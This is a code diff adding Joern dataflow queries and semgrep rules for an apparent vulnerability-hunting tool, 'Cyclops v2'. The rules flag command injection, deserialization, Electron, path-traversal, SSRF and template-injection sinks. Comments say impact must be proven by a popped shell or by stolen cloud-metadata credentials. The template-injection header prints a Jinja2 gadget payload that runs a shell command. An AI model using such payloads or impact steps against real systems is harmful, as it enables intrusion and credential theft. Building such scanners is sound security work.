+import io.shiftleft.codepropertygraph.generated.nodes.{Call, AstNode}
+
+@main def exec(inputPath: String, projectName: String = "cyclops_cmdi"): Unit = {
+ importCode(inputPath = inputPath, projectName = projectName)
+ implicit val ctx: EngineContext = EngineContext()
+
+ def clean(s: String): String = s.replace("\n", " ").replace("\r", " ").take(110)
+ def loc(n: AstNode): String = {
+ val ln = n.location.lineNumber.map(_.toString).getOrElse("?")
+ s"${n.location.filename}:$ln"
+ }
+ def emit(cls: String, flows: List[Path]): Unit = {
+ flows.foreach { p =>
+ val s = p.elements.head; val k = p.elements.last
+ println(s"FINDING: ${loc(k)} class=$cls source=${clean(s.code)} sink=${clean(k.code)}")
+ }
+ println(s"DATAFLOW_PATHS[$cls]=${flows.size}")
+ }
+ def emitCands(cls: String, calls: List[Call]): Unit = {
+ calls.foreach(c => println(s"CANDIDATE_SINK: ${loc(c)} class=$cls code=${clean(c.code)}"))
+ println(s"CANDIDATE_SINKS[$cls]=${calls.size}")
+ }
+
+ // untrusted sources: web request data, CLI args, env, stdin, network, MCP tool args.
+ val SRC = "(?i)(recv|recvfrom|read|readline|stdin|input|get_data|get_json|args|form|files|" +
+ "values|cookies|environ|argv|getenv|body|content|raw|params|query|headers|" +
+ "arguments|tool_input|request)"
+ def srcIO = cpg.call.name(SRC).argument
+ def srcParams = cpg.method.name("(?i)(handle.*|on_.*|run|exec.*|main|route.*|post|get|tool.*)").parameter
+
+ def scan(cls: String, nameRe: String, codeRe: String): Unit = {
+ def sinks = (cpg.call.name(nameRe) ++ cpg.call.code(codeRe)).dedup
+ emitCands(cls, sinks.l)
+ emit(s"$cls<-io", sinks.argument.reachableByFlows(srcIO).l)
+ emit(s"$cls<-params", sinks.argument.reachableByFlows(srcParams).l)
+ }
+
+ // ---- Python ----
+ scan("py-os-system", "system|popen|posix_spawn|posix_spawnp", ".*os\\s*\\.\\s*(system|popen|posix_spawn).*")
+ scan("py-subprocess", "call|run|Popen|check_call|check_output|getoutput|getstatusoutput", ".*subprocess\\s*\\.\\s*(call|run|Popen|check_call|check_output|getoutput).*")
+ scan("py-os-exec", "execl|execle|execlp|execv|execve|execvp|execvpe|spawnl|spawnv", ".*os\\s*\\.\\s*(execl|execv|spawn).*")
+ scan("py-eval", "eval|exec|compile|__import__", ".*\\b(eval|exec)\\s*\\(.*")
+
+ // ---- JS / Node ----
+ scan("js-childproc", "exec|execSync|execFile|execFileSync|spawn|spawnSync|fork", ".*child_process.*\\.(exec|spawn|execFile|fork).*")
+ scan("js-eval", "eval|Function", ".*\\b(eval|new Function)\\s*\\(.*")
+ scan("js-vm", "runInThisContext|runInNewContext|runInContext|compileFunction", ".*vm\\s*\\.\\s*runIn.*")
+
+ // ---- Java ----
+ scan("java-runtime", "exec|command|start", ".*Runtime.*exec.*|.*ProcessBuilder.*")
+ scan("java-scripteng", "eval", ".*ScriptEngine.*eval.*")
+ scan("java-groovy", "evaluate|parseClass", ".*GroovyShell.*evaluate.*")
+
+ // ---- C/C++ ----
+ scan("c-system", "system|popen|execl|execlp|execle|execv|execvp|execvpe|execve|posix_spawn|wsystem|_wsystem", ".*\\bsystem\\s*\\(.*")
+
+ // ---- subprocess shell=True refinement (Python): candidate calls that also carry a True arg. ----
+ {
+ val cls = "py-subprocess-shelltrue"
+ def shellish = cpg.call.name("call|run|Popen|check_call|check_output")
+ .where(_.argument.code("(?i).*(True|'sh'|\"sh\"|/bin/sh|shell=True).*"))
+ shellish.l.foreach(c => println(s"CANDIDATE_SINK: ${loc(c)} class=$cls code=${clean(c.code)}"))
+ println(s"CANDIDATE_SINKS[$cls]=${shellish.size}")
+ emit(s"$cls<-io", shellish.argument.reachableByFlows(srcIO).l)
+ }
+
+ println("SCAN_COMPLETE[command-injection]")
+}
brain/joern-queries/deserialization-rce.sc +88 -0
@@ -0,0 +1,88 @@
+// deserialization-rce.sc
+// Cyclops v2 - novelty brain / Joern dataflow pass
+// SINK CLASS: untrusted deserialization -> RCE (SEVERITY-GATE Family 1).
+// TARGET ARCHETYPES: ml-model-loaders (torch.load / joblib / pickle), ai-agent-mcp, devops-infra.
+//
+// Covers Python (pickle/yaml/marshal/joblib/torch/dill/numpy), Java (ObjectInputStream), and
+// JS (node-serialize / funcster). `importCode` auto-detects the language of inputPath; sink names
+// that do not exist in that language simply yield zero candidates.
+//
+// FINDING = a reachable taint path to the deserializer. This is SOURCE_CONFIRMED only. The oracle
+// must execute a real gadget chain (a popped shell / callback) to promote it (SEVERITY-GATE F1 trap:
+// "the deserializer accepts our object" is NOT RCE).
+//
+// INVOKE:
+// joern --script deserialization-rce.sc --param inputPath=/abs/path/to/src
+//
+// PYTHON LIMITATION: Joern's Python frontend models `pickle.loads(x)` as a call whose .name is the
+// method ("loads") under a fieldAccess on the `pickle` identifier; dynamic dispatch / aliasing
+// (`from pickle import loads as L`) can hide the receiver. We therefore match BOTH the bare method
+// name AND the full call .code (regex), and we always print CANDIDATE_SINK even when no flow proves,
+// so the semgrep fast-pass + manual review still see the sink.
+
+import io.joern.dataflowengineoss.language._
+import io.joern.dataflowengineoss.queryengine.EngineContext
+import io.shiftleft.codepropertygraph.generated.nodes.{Call, AstNode}
+
+@main def exec(inputPath: String, projectName: String = "cyclops_deser"): Unit = {
+ importCode(inputPath = inputPath, projectName = projectName)
+ implicit val ctx: EngineContext = EngineContext()
+
+ def clean(s: String): String = s.replace("\n", " ").replace("\r", " ").take(110)
+ def loc(n: AstNode): String = {
+ val ln = n.location.lineNumber.map(_.toString).getOrElse("?")
+ s"${n.location.filename}:$ln"
+ }
+ def emit(cls: String, flows: List[Path]): Unit = {
+ flows.foreach { p =>
+ val s = p.elements.head; val k = p.elements.last
+ println(s"FINDING: ${loc(k)} class=$cls source=${clean(s.code)} sink=${clean(k.code)}")
+ }
+ println(s"DATAFLOW_PATHS[$cls]=${flows.size}")
+ }
+
+ def emitCands(cls: String, calls: List[Call]): Unit = {
+ calls.foreach(c => println(s"CANDIDATE_SINK: ${loc(c)} class=$cls code=${clean(c.code)}"))
+ println(s"CANDIDATE_SINKS[$cls]=${calls.size}")
+ }
+
+ // ---- untrusted sources (web / IO / CLI). To target library code as the attack surface (model
+ // loaders take a path/bytes parameter), uncomment srcParams below - it over-approximates. ----
+ val SRC = "(?i)(recv|recvfrom|read|readline|readlines|loads|stdin|input|getvalue|" +
+ "get_data|get_json|args|form|files|values|cookies|environ|argv|body|content|raw)"
+ def srcIO = cpg.call.name(SRC).argument
+ // def srcParams = cpg.method.parameter // library-as-target mode (noisier, see README)
+ def srcParams = cpg.method.name("(?i)(load|loads|read|parse|deserialize|from_.*|handle|main)").parameter
+
+ // sinks located by method name OR by full-call code (catches dotted/aliased receivers).
+ // `def` (not `val`) so each reference yields a FRESH single-use traversal.
+ def scan(cls: String, nameRe: String, codeRe: String): Unit = {
+ def sinks = (cpg.call.name(nameRe) ++ cpg.call.code(codeRe)).dedup
+ emitCands(cls, sinks.l)
+ emit(s"$cls<-io", sinks.argument.reachableByFlows(srcIO).l)
+ emit(s"$cls<-params", sinks.argument.reachableByFlows(srcParams).l)
+ }
+
+ // ---- Python ----
+ scan("py-pickle", "loads|load", ".*(pickle|cPickle|_pickle|dill|cloudpickle)\\s*\\.\\s*loads?\\b.*")
+ scan("py-yaml", "load|unsafe_load|full_load", ".*yaml\\s*\\.\\s*(load|unsafe_load|full_load)\\b.*")
+ scan("py-marshal", "loads|load", ".*marshal\\s*\\.\\s*loads?\\b.*")
+ scan("py-joblib", "load", ".*joblib\\s*\\.\\s*load\\b.*")
+ scan("py-torch", "load", ".*torch\\s*\\.\\s*load\\b.*")
+ scan("py-numpy", "load|loadtxt|fromfile", ".*numpy\\s*\\.\\s*load\\b.*|.*np\\s*\\.\\s*load\\b.*") // allow_pickle=True is the danger
+ scan("py-pandas", "read_pickle", ".*read_pickle\\b.*")
+ scan("py-shelve", "open", ".*shelve\\s*\\.\\s*open\\b.*")
+ scan("py-reduce", "__reduce__|__reduce_ex__|__setstate__", ".*__reduce__.*")
+
+ // ---- Java/JVM ----
+ scan("java-ois", "readObject|readUnshared|readExternal", ".*ObjectInputStream.*readObject.*")
+ scan("java-xstream","fromXML", ".*XStream.*fromXML.*")
+ scan("java-snakeyaml","load|loadAs", ".*(Yaml|SnakeYaml).*load.*")
+ scan("java-kryo", "readClassAndObject|readObject", ".*Kryo.*read.*")
+
+ // ---- JavaScript / Node ----
+ scan("js-nodeserialize","unserialize|deserialize", ".*(node-serialize|serialize)\\s*\\.\\s*unserialize.*")
+ scan("js-funcster", "deepDeserialize|deserialize", ".*funcster.*")
+
+ println("SCAN_COMPLETE[deserialization-rce]")
+}
brain/joern-queries/js-electron-rce.sc +96 -0
@@ -0,0 +1,96 @@
+// js-electron-rce.sc
+// Cyclops v2 - novelty brain / Joern dataflow pass
+// SINK CLASS: Electron renderer->main RCE (SEVERITY-GATE Family 1).
+// TARGET ARCHETYPE: electron-desktop.
+//
+// The Electron threat model: the renderer is attacker-influenced (loads remote content / handles
+// untrusted files). Anything the renderer can send over IPC, or via a custom protocol handler, is
+// untrusted. If that reaches a Node sink in the MAIN process (child_process / eval / Function /
+// shell.openExternal / webContents.executeJavaScript / loadURL), it is renderer->main RCE.
+//
+// Sources modeled:
+// (1) parameters of the callback registered with ipcMain.handle/on/handleOnce/once
+// (the (event, ...args) the renderer controls).
+// (2) parameters of custom protocol handlers (protocol.registerFileProtocol / handle /
+// setAsDefaultProtocolClient deep-link args).
+// (3) fallback: all function/closure parameters (over-approx; see README).
+// Sinks: child_process.*, eval/Function, shell.openExternal, executeJavaScript, loadURL, require.
+//
+// FINDING = renderer-controlled data reaches a main-process exec/eval/nav sink. SOURCE_CONFIRMED
+// only - the oracle must land command output / a callback. nodeIntegration:true + a DOM sink is a
+// CONFIG candidate (printed), not a dataflow finding by itself.
+//
+// INVOKE: joern --script js-electron-rce.sc --param inputPath=/abs/path/to/electron-app
+//
+// LIMITATION: Joern's JS frontend resolves MethodRef callbacks well for named functions but can
+// miss inline arrow callbacks in some versions; (3) is the safety net. contextIsolation/sandbox
+// settings are not modeled - treat preload-exposed APIs as additional renderer-reachable sources.
+
+import io.joern.dataflowengineoss.language._
+import io.joern.dataflowengineoss.queryengine.EngineContext
+import io.shiftleft.codepropertygraph.generated.nodes.{Call, AstNode}
+
+@main def exec(inputPath: String, projectName: String = "cyclops_electron"): Unit = {
+ importCode(inputPath = inputPath, projectName = projectName)
+ implicit val ctx: EngineContext = EngineContext()
+
+ def clean(s: String): String = s.replace("\n", " ").replace("\r", " ").take(110)
+ def loc(n: AstNode): String = {
+ val ln = n.location.lineNumber.map(_.toString).getOrElse("?")
+ s"${n.location.filename}:$ln"
+ }
+ def emit(cls: String, flows: List[Path]): Unit = {
+ flows.foreach { p =>
+ val s = p.elements.head; val k = p.elements.last
+ println(s"FINDING: ${loc(k)} class=$cls source=${clean(s.code)} sink=${clean(k.code)}")
+ }
+ println(s"DATAFLOW_PATHS[$cls]=${flows.size}")
+ }
+ def emitCands(cls: String, calls: List[Call]): Unit = {
+ calls.foreach(c => println(s"CANDIDATE_SINK: ${loc(c)} class=$cls code=${clean(c.code)}"))
+ println(s"CANDIDATE_SINKS[$cls]=${calls.size}")
+ }
+
+ // ---- sources -------------------------------------------------------------
+ // (1) ipc handler callback params (renderer-controlled). MethodRef-resolved.
+ def srcIpcRef = cpg.call.code(".*ipcMain\\s*\\.\\s*(handle|on|handleOnce|once)\\b.*")
+ .argument.isMethodRef.referencedMethod.parameter
+ // (2) custom protocol / deep-link handler callback params.
+ def srcProto = cpg.call.code(".*(registerFileProtocol|registerHttpProtocol|registerStringProtocol|protocol\\.handle|setAsDefaultProtocolClient|second-instance|open-url).*")
+ .argument.isMethodRef.referencedMethod.parameter
+ // (3) fallback: every function/closure parameter (over-approximation safety net).
+ def srcAllParams = cpg.method.parameter
+
+ // ---- sinks ---------------------------------------------------------------
+ def childProc = cpg.call.code(".*child_process.*\\.(exec|execSync|execFile|execFileSync|spawn|spawnSync|fork)\\b.*")
+ ++ cpg.call.name("exec|execSync|execFile|spawn|spawnSync|fork")
+ def evalSink = cpg.call.name("eval|Function") ++ cpg.call.code(".*new\\s+Function\\s*\\(.*")
+ def shellOpen = cpg.call.code(".*shell\\s*\\.\\s*openExternal\\b.*") ++ cpg.call.code(".*shell\\s*\\.\\s*openPath\\b.*")
+ def execJs = cpg.call.code(".*webContents.*executeJavaScript\\b.*") ++ cpg.call.code(".*\\.executeJavaScript\\s*\\(.*")
+ def loadUrl = cpg.call.code(".*\\.loadURL\\s*\\(.*") ++ cpg.call.code(".*\\.loadFile\\s*\\(.*")
+ def reqSink = cpg.call.name("require") // dynamic require(tainted) -> arbitrary module load
+
+ def scan(cls: String, sinks: => Iterator[Call]): Unit = {
+ // `sinks` is by-name: each reference below re-evaluates it into a FRESH single-use traversal.
+ emitCands(cls, sinks.dedup.l)
+ emit(s"$cls<-ipc", sinks.dedup.argument.reachableByFlows(srcIpcRef).l)
+ emit(s"$cls<-proto", sinks.dedup.argument.reachableByFlows(srcProto).l)
+ emit(s"$cls<-anyparam", sinks.dedup.argument.reachableByFlows(srcAllParams).l)
+ }
+
+ scan("electron-childproc", childProc)
+ scan("electron-eval", evalSink)
+ scan("electron-shellopen", shellOpen)
+ scan("electron-execjs", execJs)
+ scan("electron-loadurl", loadUrl)
+ scan("electron-require", reqSink)
+
+ // ---- config candidates (NOT dataflow findings; flag for review) ----------
+ {
+ val cfg = cpg.call.code(".*(nodeIntegration\\s*:\\s*true|contextIsolation\\s*:\\s*false|webSecurity\\s*:\\s*false|sandbox\\s*:\\s*false|allowRunningInsecureContent\\s*:\\s*true).*").l
+ cfg.foreach(c => println(s"CONFIG_CANDIDATE: ${loc(c)} class=electron-unsafe-webprefs code=${clean(c.code)}"))
+ println(s"CONFIG_CANDIDATES[electron-unsafe-webprefs]=${cfg.size}")
+ }
+
+ println("SCAN_COMPLETE[js-electron-rce]")
+}
brain/joern-queries/path-traversal.sc +78 -0
@@ -0,0 +1,78 @@
+// path-traversal.sc
+// Cyclops v2 - novelty brain / Joern dataflow pass
+// SINK CLASS: path traversal / arbitrary file read+write / zip-slip (SEVERITY-GATE Family 7).
+// TARGET ARCHETYPES: devops-infra, ml-model-loaders, ai-agent-mcp, electron-desktop.
+//
+// Covers: tainted path -> open/read/sendfile without normalization, and archive-extract zip-slip
+// (extractall / tar extract) where an entry name controls the write path.
+//
+// FINDING = tainted path component reaches a filesystem sink. SOURCE_CONFIRMED only. The oracle must
+// retrieve a real secret's CONTENTS (or land a write that executes) - per SEVERITY-GATE F7,
+// "traversal reads /etc/passwd" is a primitive demo, a real secret is the impact.
+//
+// INVOKE: joern --script path-traversal.sc --param inputPath=/abs/path/to/src
+//
+// NORMALIZATION NOTE: a flow that passes through realpath/os.path.normpath/canonicalize + an
+// allowlist check may be safe. Joern cannot judge the check's correctness; we emit the flow as a
+// hypothesis and let the oracle attempt `../` escape. Flows with NO normalization on the path are
+// higher confidence - review the printed path elements.
+
+import io.joern.dataflowengineoss.language._
+import io.joern.dataflowengineoss.queryengine.EngineContext
+import io.shiftleft.codepropertygraph.generated.nodes.{Call, AstNode}
+
+@main def exec(inputPath: String, projectName: String = "cyclops_pathtrav"): Unit = {
+ importCode(inputPath = inputPath, projectName = projectName)
+ implicit val ctx: EngineContext = EngineContext()
+
+ def clean(s: String): String = s.replace("\n", " ").replace("\r", " ").take(110)
+ def loc(n: AstNode): String = {
+ val ln = n.location.lineNumber.map(_.toString).getOrElse("?")
+ s"${n.location.filename}:$ln"
+ }
+ def emit(cls: String, flows: List[Path]): Unit = {
+ flows.foreach { p =>
+ val s = p.elements.head; val k = p.elements.last
+ println(s"FINDING: ${loc(k)} class=$cls source=${clean(s.code)} sink=${clean(k.code)}")
+ }
+ println(s"DATAFLOW_PATHS[$cls]=${flows.size}")
+ }
+ def emitCands(cls: String, calls: List[Call]): Unit = {
+ calls.foreach(c => println(s"CANDIDATE_SINK: ${loc(c)} class=$cls code=${clean(c.code)}"))
+ println(s"CANDIDATE_SINKS[$cls]=${calls.size}")
+ }
+
+ val SRC = "(?i)(recv|read|readline|stdin|input|get_data|get_json|args|form|files|values|" +
+ "cookies|environ|argv|getenv|body|content|params|query|headers|filename|path|" +
+ "secure_filename|arguments|tool_input)"
+ def srcIO = cpg.call.name(SRC).argument
+ def srcParams = cpg.method.name("(?i)(handle.*|on_.*|download|upload|read.*|serve.*|get|post|route.*|sendfile|extract.*)").parameter
+
+ def scan(cls: String, nameRe: String, codeRe: String): Unit = {
+ def sinks = (cpg.call.name(nameRe) ++ cpg.call.code(codeRe)).dedup
+ emitCands(cls, sinks.l)
+ emit(s"$cls<-io", sinks.argument.reachableByFlows(srcIO).l)
+ emit(s"$cls<-params", sinks.argument.reachableByFlows(srcParams).l)
+ }
+
+ // ---- Python ----
+ scan("py-open", "open|io.open", ".*\\bopen\\s*\\(.*")
+ scan("py-os-file", "remove|unlink|rename|chmod|chown|mkdir|rmdir|listdir|stat|readlink", ".*os\\s*\\.\\s*(remove|unlink|rename|open|readlink|listdir).*")
+ scan("py-send-file", "send_file|send_from_directory|FileResponse|sendfile", ".*send_file.*|.*send_from_directory.*")
+ scan("py-zipslip", "extract|extractall", ".*(zipfile|tarfile|ZipFile|TarFile).*extract(all)?.*")
+ scan("py-shutil", "copy|copyfile|copytree|move|make_archive", ".*shutil\\s*\\.\\s*(copy|move|copyfile).*")
+
+ // ---- JS / Node ----
+ scan("js-fs", "readFile|readFileSync|createReadStream|writeFile|writeFileSync|createWriteStream|unlink|readdir|open", ".*fs\\s*\\.\\s*(readFile|writeFile|createReadStream|createWriteStream|unlink|open).*")
+ scan("js-sendfile", "sendFile|download|sendfile", ".*res\\s*\\.\\s*(sendFile|download).*")
+ scan("js-pathjoin", "join|resolve", ".*path\\s*\\.\\s*(join|resolve).*") // tainted join often precedes the fs sink
+
+ // ---- Java ----
+ scan("java-file", "File|FileInputStream|FileReader|FileOutputStream|getResourceAsStream|newInputStream|copy|readAllBytes", ".*new\\s+File\\s*\\(.*|.*Files\\.(copy|readAllBytes|newInputStream).*")
+ scan("java-zipslip", "getNextEntry|getName|resolve", ".*ZipEntry.*getName.*")
+
+ // ---- C/C++ ----
+ scan("c-fopen", "fopen|open|openat|open64|fopen64|freopen|creat|access|stat|unlink|remove|rename", ".*\\bfopen\\s*\\(.*|.*\\bopen\\s*\\(.*")
+
+ println("SCAN_COMPLETE[path-traversal]")
+}
brain/joern-queries/ssrf.sc +77 -0
@@ -0,0 +1,77 @@
+// ssrf.sc
+// Cyclops v2 - novelty brain / Joern dataflow pass
+// SINK CLASS: Server-Side Request Forgery (SEVERITY-GATE Family 7).
+// TARGET ARCHETYPES: ai-agent-mcp (tool fetches a URL), devops-infra, ml-model-loaders (remote
+// model/dataset download), cicd-supplychain.
+//
+// Covers tainted URL/host -> HTTP client (requests / urllib / axios / fetch / node http / Java
+// HttpClient / curl) with no host allowlist.
+//
+// FINDING = tainted URL reaches an outbound-request sink. SOURCE_CONFIRMED only. Per SEVERITY-GATE
+// F7, a BARE outbound/DNS callback is blind-SSRF reachability - NOT a finding. The oracle must
+// terminate in impact: cloud metadata credential captured (169.254.169.254 / metadata.google /
+// 100.100.100.200), an internal-admin action, or SSRF->RCE. We tag flows whose URL string mentions
+// a metadata/internal host as `metadata-reachable` (higher priority for the oracle).
+//
+// INVOKE: joern --script ssrf.sc --param inputPath=/abs/path/to/src
+
+import io.joern.dataflowengineoss.language._
+import io.joern.dataflowengineoss.queryengine.EngineContext
+import io.shiftleft.codepropertygraph.generated.nodes.{Call, AstNode}
+
+@main def exec(inputPath: String, projectName: String = "cyclops_ssrf"): Unit = {
+ importCode(inputPath = inputPath, projectName = projectName)
+ implicit val ctx: EngineContext = EngineContext()
+
+ def clean(s: String): String = s.replace("\n", " ").replace("\r", " ").take(110)
+ def loc(n: AstNode): String = {
+ val ln = n.location.lineNumber.map(_.toString).getOrElse("?")
+ s"${n.location.filename}:$ln"
+ }
+ def emit(cls: String, flows: List[Path]): Unit = {
+ flows.foreach { p =>
+ val s = p.elements.head; val k = p.elements.last
+ // Priority tag if any element references a metadata/internal endpoint.
+ val joined = p.elements.map(_.code).mkString(" ")
+ val meta = if (joined.matches("(?s).*(169\\.254\\.169\\.254|metadata\\.google|metadata\\.azure|100\\.100\\.100\\.200|localhost|127\\.0\\.0\\.1|0\\.0\\.0\\.0|::1|169\\.254|internal).*")) " [metadata-reachable]" else ""
+ println(s"FINDING: ${loc(k)} class=$cls$meta source=${clean(s.code)} sink=${clean(k.code)}")
+ }
+ println(s"DATAFLOW_PATHS[$cls]=${flows.size}")
+ }
+ def emitCands(cls: String, calls: List[Call]): Unit = {
+ calls.foreach(c => println(s"CANDIDATE_SINK: ${loc(c)} class=$cls code=${clean(c.code)}"))
+ println(s"CANDIDATE_SINKS[$cls]=${calls.size}")
+ }
+
+ val SRC = "(?i)(recv|read|stdin|input|get_data|get_json|args|form|values|cookies|environ|argv|" +
+ "getenv|body|content|params|query|headers|url|uri|host|endpoint|target|arguments|tool_input)"
+ def srcIO = cpg.call.name(SRC).argument
+ def srcParams = cpg.method.name("(?i)(handle.*|on_.*|fetch.*|download.*|proxy.*|get|post|route.*|webhook.*|tool.*|load.*)").parameter
+
+ def scan(cls: String, nameRe: String, codeRe: String): Unit = {
+ def sinks = (cpg.call.name(nameRe) ++ cpg.call.code(codeRe)).dedup
+ emitCands(cls, sinks.l)
+ emit(s"$cls<-io", sinks.argument.reachableByFlows(srcIO).l)
+ emit(s"$cls<-params", sinks.argument.reachableByFlows(srcParams).l)
+ }
+
+ // ---- Python ----
+ scan("py-requests", "get|post|put|patch|delete|head|request|Session", ".*requests\\s*\\.\\s*(get|post|put|request|head|Session).*")
+ scan("py-urllib", "urlopen|urlretrieve|Request", ".*urllib.*\\.(urlopen|urlretrieve|Request).*|.*urlopen\\s*\\(.*")
+ scan("py-httpx", "get|post|request|stream|Client", ".*(httpx|aiohttp)\\s*\\.\\s*(get|post|request).*")
+ scan("py-urllib3", "request|urlopen|PoolManager", ".*urllib3.*request.*")
+
+ // ---- JS / Node ----
+ scan("js-axios", "get|post|put|patch|delete|request|axios", ".*axios\\s*[\\.(].*|.*axios\\s*\\.\\s*(get|post|request).*")
+ scan("js-fetch", "fetch", ".*\\bfetch\\s*\\(.*")
+ scan("js-nodehttp", "get|request", ".*(http|https)\\s*\\.\\s*(get|request).*")
+ scan("js-got", "get|post|stream|got", ".*\\bgot\\s*[\\.(].*|.*request\\s*\\(.*")
+
+ // ---- Java ----
+ scan("java-http", "openConnection|newCall|send|execute|GET|build", ".*(URL|HttpClient|HttpRequest|OkHttpClient|RestTemplate).*")
+
+ // ---- C/C++ (libcurl) ----
+ scan("c-curl", "curl_easy_setopt|curl_easy_perform", ".*curl_easy_(setopt|perform).*")
+
+ println("SCAN_COMPLETE[ssrf]")
+}
brain/joern-queries/template-injection.sc +76 -0
@@ -0,0 +1,76 @@
+// template-injection.sc
+// Cyclops v2 - novelty brain / Joern dataflow pass
+// SINK CLASS: Server-Side Template Injection (SSTI) -> RCE (SEVERITY-GATE Family 1).
+// TARGET ARCHETYPES: ai-agent-mcp (LLM output rendered as a template), devops-infra, electron-desktop.
+//
+// Covers tainted string -> template COMPILE/RENDER-FROM-STRING sinks: Flask/Jinja2
+// render_template_string / Environment.from_string, Mako, Handlebars.compile, EJS, Pug/Jade,
+// Tornado, Velocity, Freemarker. The danger is when the TEMPLATE TEXT (not just the context data)
+// is attacker-controlled.
+//
+// FINDING = tainted data reaches a from-string template compile/render. SOURCE_CONFIRMED only. Per
+// SEVERITY-GATE F1, `{{7*7}}`->`49` is expression eval, NOT RCE - the oracle must land a gadget
+// (`{{ cycler.__init__.__globals__.os.popen('id') }}` etc.) returning command output.
+//
+// INVOKE: joern --script template-injection.sc --param inputPath=/abs/path/to/src
+//
+// NOTE: render_template (file-based) is generally SAFE; only the from-STRING variants are SSTI sinks.
+// We deliberately match the *_string / from_string / compile forms, not file renders.
+
+import io.joern.dataflowengineoss.language._
+import io.joern.dataflowengineoss.queryengine.EngineContext
+import io.shiftleft.codepropertygraph.generated.nodes.{Call, AstNode}
+
+@main def exec(inputPath: String, projectName: String = "cyclops_ssti"): Unit = {
+ importCode(inputPath = inputPath, projectName = projectName)
+ implicit val ctx: EngineContext = EngineContext()
+
+ def clean(s: String): String = s.replace("\n", " ").replace("\r", " ").take(110)
+ def loc(n: AstNode): String = {
+ val ln = n.location.lineNumber.map(_.toString).getOrElse("?")
+ s"${n.location.filename}:$ln"
+ }
+ def emit(cls: String, flows: List[Path]): Unit = {
+ flows.foreach { p =>
+ val s = p.elements.head; val k = p.elements.last
+ println(s"FINDING: ${loc(k)} class=$cls source=${clean(s.code)} sink=${clean(k.code)}")
+ }
+ println(s"DATAFLOW_PATHS[$cls]=${flows.size}")
+ }
+ def emitCands(cls: String, calls: List[Call]): Unit = {
+ calls.foreach(c => println(s"CANDIDATE_SINK: ${loc(c)} class=$cls code=${clean(c.code)}"))
+ println(s"CANDIDATE_SINKS[$cls]=${calls.size}")
+ }
+
+ val SRC = "(?i)(recv|read|stdin|input|get_data|get_json|args|form|values|cookies|environ|argv|" +
+ "getenv|body|content|params|query|headers|message|completion|response|output|" +
+ "arguments|tool_input|prompt)"
+ def srcIO = cpg.call.name(SRC).argument
+ def srcParams = cpg.method.name("(?i)(handle.*|on_.*|render.*|get|post|route.*|view.*|tool.*)").parameter
+
+ def scan(cls: String, nameRe: String, codeRe: String): Unit = {
+ def sinks = (cpg.call.name(nameRe) ++ cpg.call.code(codeRe)).dedup
+ emitCands(cls, sinks.l)
+ emit(s"$cls<-io", sinks.argument.reachableByFlows(srcIO).l)
+ emit(s"$cls<-params", sinks.argument.reachableByFlows(srcParams).l)
+ }
+
+ // ---- Python (Jinja2 / Flask / Mako / Tornado) ----
+ scan("py-jinja-str", "render_template_string|from_string", ".*render_template_string\\s*\\(.*|.*from_string\\s*\\(.*")
+ scan("py-jinja-tmpl", "Template|render", ".*(Template|Environment)\\s*\\(.*|.*\\.render\\s*\\(.*")
+ scan("py-mako", "Template|render", ".*mako.*Template.*")
+ scan("py-tornado", "Template|generate", ".*tornado.*Template.*")
+
+ // ---- JS (Handlebars / EJS / Pug / Mustache / Lodash) ----
+ scan("js-handlebars", "compile|precompile|template", ".*Handlebars\\s*\\.\\s*(compile|precompile).*")
+ scan("js-ejs", "compile|render", ".*ejs\\s*\\.\\s*(compile|render).*")
+ scan("js-pug", "compile|render|compileClient", ".*(pug|jade)\\s*\\.\\s*(compile|render).*")
+ scan("js-lodash-tmpl", "template", ".*_\\s*\\.\\s*template\\s*\\(.*|.*lodash.*template.*")
+ scan("js-nunjucks", "renderString|compile", ".*nunjucks.*renderString.*")
+
+ // ---- Java (Freemarker / Velocity / Thymeleaf) ----
+ scan("java-freemarker","getTemplate|process|Template", ".*freemarker.*Template.*")
+ scan("java-velocity", "evaluate|mergeTemplate", ".*Velocity.*evaluate.*")
+
+ println("SCAN_COMPLETE[template-injection]")
+}
brain/semgrep-rules/command-injection.yaml +139 -0
@@ -0,0 +1,139 @@
+rules:
+ # Cyclops v2 - semgrep fast-pass. SINK CLASS: OS command / code injection -> RCE.
+ # SEVERITY-GATE Family 1. Match = CANDIDATE SINK. Joern confirms taint reachability; the oracle
+ # proves with the injected command's OUTPUT / a callback. Concatenation alone is a hypothesis.
+
+ - id: cyc-py-os-system-popen
+ languages: [python]
+ severity: ERROR
+ message: >
+ os.system / os.popen runs a shell command string -> command injection if any part is
+ attacker-controlled. IMPACT GATE: Family 1 RCE.
+ metadata:
+ cwe: ["CWE-78: OS Command Injection"]
+ confidence: HIGH
+ archetype: [devops-infra, ai-agent-mcp]
+ impact: rce
+ patterns:
+ - pattern-either:
+ - pattern: os.system(...)
+ - pattern: os.popen(...)
+ - pattern: os.popen2(...)
+ - pattern: os.posix_spawn(...)
+
+ - id: cyc-py-subprocess-shell-true
+ languages: [python]
+ severity: ERROR
+ message: >
+ subprocess with shell=True passes the command through /bin/sh -> command injection. IMPACT
+ GATE: Family 1. (shell=False with a list argv is the safe form and is not matched.)
+ metadata:
+ cwe: ["CWE-78: OS Command Injection"]
+ confidence: HIGH
+ archetype: [devops-infra, ai-agent-mcp, cicd-supplychain]
+ impact: rce
+ patterns:
+ - pattern-either:
+ - pattern: subprocess.call(..., shell=True, ...)
+ - pattern: subprocess.run(..., shell=True, ...)
+ - pattern: subprocess.Popen(..., shell=True, ...)
+ - pattern: subprocess.check_call(..., shell=True, ...)
+ - pattern: subprocess.check_output(..., shell=True, ...)
+ - pattern: subprocess.getoutput(...)
+ - pattern: subprocess.getstatusoutput(...)
+
+ - id: cyc-py-eval-exec
+ languages: [python]
+ severity: ERROR
+ message: >
+ eval / exec / compile on attacker-influenced input is direct code execution. IMPACT GATE:
+ Family 1.
+ metadata:
+ cwe: ["CWE-95: Eval Injection", "CWE-94: Code Injection"]
+ confidence: HIGH
+ archetype: [ai-agent-mcp, devops-infra]
+ impact: rce
+ patterns:
+ - pattern-either:
+ - pattern: eval(...)
+ - pattern: exec(...)
+ - pattern-not: eval("...")
+ - pattern-not: exec("...")
+
+ - id: cyc-js-child-process
+ languages: [javascript, typescript]
+ severity: ERROR
+ message: >
+ child_process.exec/execSync runs a shell string -> command injection. spawn/execFile with a
+ tainted command or args is also injectable. IMPACT GATE: Family 1.
+ metadata:
+ cwe: ["CWE-78: OS Command Injection"]
+ confidence: HIGH
+ archetype: [electron-desktop, devops-infra, ai-agent-mcp]
+ impact: rce
+ patterns:
+ - pattern-either:
+ - pattern: $CP.exec(...)
+ - pattern: $CP.execSync(...)
+ - pattern: $CP.execFile(...)
